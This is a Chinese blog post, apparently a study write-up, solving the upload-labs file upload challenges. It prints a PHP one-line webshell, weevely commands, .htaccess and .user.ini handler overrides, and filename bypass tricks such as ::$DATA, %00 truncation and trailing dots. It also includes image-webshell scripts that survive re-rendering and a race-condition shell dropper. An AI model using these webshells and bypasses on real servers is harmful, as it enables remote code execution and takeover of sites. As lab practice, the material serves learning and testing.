Featured image of post 文件上传漏洞

文件上传漏洞

upload-labs靶场练习

文件上传

一句话木马

1
<?php @eval($_POST['cmd']);?>

webshell

https://github.com/tennc/webshell

网站控制工具

中国菜刀 中国蚁剑 https://github.com/AntSwordProject/antSword

weevely https://github.com/epinna/weevely3

哥斯拉godzila https://github.com/BeichenDream/Godzilla

冰蝎 behinder https://github.com/rebeyond/Behinder

weevely(kali)

生成木马

1
weevely generate cmd weevely.php

连接

1
weevely ip cmd

就可以执行命令了

upload-labs靶场练习

pass01

image-20241221143517828

提示不让上传php,猜测是前端验证

禁用js或者

image-20241221143655514

按下上传要检测,我们直接删掉onsubmit

image-20241221143757173

上传直接蚁剑连接

image-20241221143907303

pass02

提示对数据包的MIME检查

MIME

Multipurpose Internet Mail Extensions

多用途互联网邮件扩展类型

image-20241221145016259

客户端使用:

1、GET请求不需要这个字段。

2、POST请求头,放在Content Type字段用来指定上传的文件类型,方便服务器解析。放在Accept,告诉服务端允许接收的响应类型。比如只能接收json或者其他。

服务端使用:

放在响应头里面,Content Type告诉客户端响应的数据类型,方便客户端解析。

官方解释:https://developermozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types

所以用bp抓包,在我们上传的一句话木马的content-type中修改成image/jpeg,再放行

image-20241221150506636

蚁剑连接

image-20241221150654921

pass03

image-20241221151659915

黑名单里面有php

等价拓展名

image-20241221151803733

首先要修改apache的配置

image-20241221152741295

image-20241221153212013

加上一行将后面这些拓展识别成php,不知道为什么不行

换一种方式,把后缀名改为.htaccess,也不行

pass04

.htaccess

.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置 。通过 .htaccess 文件,可以实现:网页 301 重定向、自定义404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

先上传图片(shell.php改后缀为jpg)然后上传.htaccess

1
2
3
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

或者

1
AddType application/x-httpd-php .jpg
1
SetHandler application/x-httpd-php

把图片匹配为php代码

pass05

查看提示存在readme.php

php.ini是php的一个全局配置文件,对整个web服务起作用

.user.ini.htaccess一样是目录的配置文件,.user.ini就是用户自定义的php.ini

1
2
3
4
5
.user.ini 配置项中有两个配置可以起到一些作用
方法一:
auto_prepend_file = <filename>         //包含在文件头
方法二:
auto_append_file = <filename>          //包含在文件尾

image-20241221164851626

上传要改php.ini

image-20241221164930526

下面那个原来是300秒我们改为10秒

重启服务后

上传两个文件

蚁剑连接的文件要改为readme.php

image-20241221165108726

也可以用 php. . 点空格点 绕过上传

pass06

大小写过滤不全,用PHP就能上传

pass07

没有过滤空格,抓包后在bp里面把文件后缀加空格放行

然后就连接上了

pass08

抓包改为.php.

pass09

后缀名未做去::$DATA处理

1
Windows系统下,如果上传的文件名为`9.php::$DATA`会在服务器上生成一个9.php的文件,其内容和所上传文件内容相同并被解析。

连接时要把::$DATA去掉

pass10

因为会去掉末尾的点和头尾空格

.php. .(点空格点)

pass11

后缀重写绕过

.pphphp

pass12

需要php的版本号低于5.3.29,且magic_quotes_gpc为关闭状态(需要自己关闭)

Content-Disposition

作为对下载文件的一个标识字段

官方解释:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition

文件名截断

截断字符:chr(0) ,类似于C++的"\0"

在url编码里面所以要输入%00

image-20241222214202018

下面那里改成符合条件的后缀名,上面上传路径填写我们的木马然后用%00截断

pass13

image-20241222215427791

现在路径不是url编码,要用16进制,先写个+占位,+的16进制是2b

image-20241222215622681

hex改为00

pass14

image-20241223152454674

要上传图片马,并且利用文件包含漏洞来实现运行图片中的木马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
补充:
Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG
Jpg图片文件包括2字节:FF D8。
Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
Bmp图片文件包括2字节:42 4D。即为 BM
    
图片马制作:
在cmd里执行 copy logo.jpg/b+test.php/a test.jpg
logo.jpg为任意图片;test.php 插入的木马文件;test.jpg 生成的图片木马
linux里面用 cat logo.jpg shell.php>shell.jpg

上传完成后,在include.php后加上传的文件路径

1
http://upload-labs/include.php?file=upload/xxx.jpg

pass15

这里getimagesize()检查是否为图片文件

1
2
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
主要是针对*.php直接更改文件后缀为图片后缀,上一题创建的图片马仍然可以使用。

pass16

1
2
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快

跟14一样

pass17

题目用二次渲染把我们图片马里面的马给清除了

gif的解决办法

上传图片然后下载回显图片

用010editor对比,找到相同的地方(上传前和上传后,两张图片Hex仍然保持不变的位置)并插入木马

我们直接用现成的图片马,利用文件包含,连接成功

image-20241224153222062

其他图片格式的办法参考upload-labs之pass 16详细分析 - 先知社区

png脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

生成的木马是

1
<?$_GET[0]($_POST[1]);?>

jpg脚本

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

运行脚本命令

1
jpg_payload.php 1.jpg

pass18

代码审计,传入文件与删除有时间差

思路:

image-20241224230028246

条件竞争代码

1
2
3
4
5
6
//18.php
    
<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>
    #访问18.php,会在目录下生成一个shell.php

用bp来重复上传

发到intruder模块,payload设置为空,用于无限访问

image-20241224230639158

线程设置大点

image-20241224230747724

开始爆破,同时要手动访问文件

python访问

1
2
3
4
5
6
7
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/18.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

image-20241224231727436

pass19

原题有点问题

改myupload的源码

image-20241224232230819

拼接/

利用apach解析漏洞

1
xxx.php.*  ->xxx.php

然后我们bp不断上传白名单内的后缀

例如shell.php.7z

另一种思路,将上一关重复生成代码的木马做成图片马

反复上传图片马

这里访问的python脚本为:

1
2
3
4
5
6
7
import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

直到生成shell.php为止

pass20

利用函数漏洞

1
move_uploaded_file()会忽略掉文件末尾的 /.,主要作用是将临时文件移到指定的目标路径,并确保文件在移动中不会被删除或覆盖。

所以我们上传shell.php/.上传后会变成shell.php

pass21

修改content-type 修改POST参数为数组类型,就是save_name[]; 索引[0]为shell.php, 索引[2]为jpg|png|gif。 只要第二个索引不为1,就是不能为save_name[1]; $file[count($file) - 1]就等价于$file[2-1],值为空绕过

漏扫工具

https://github.com/almandin/fuxploider

防御

linux文件权限

image-20241224235305753

使用 Hugo 构建
主题 StackJimmy 设计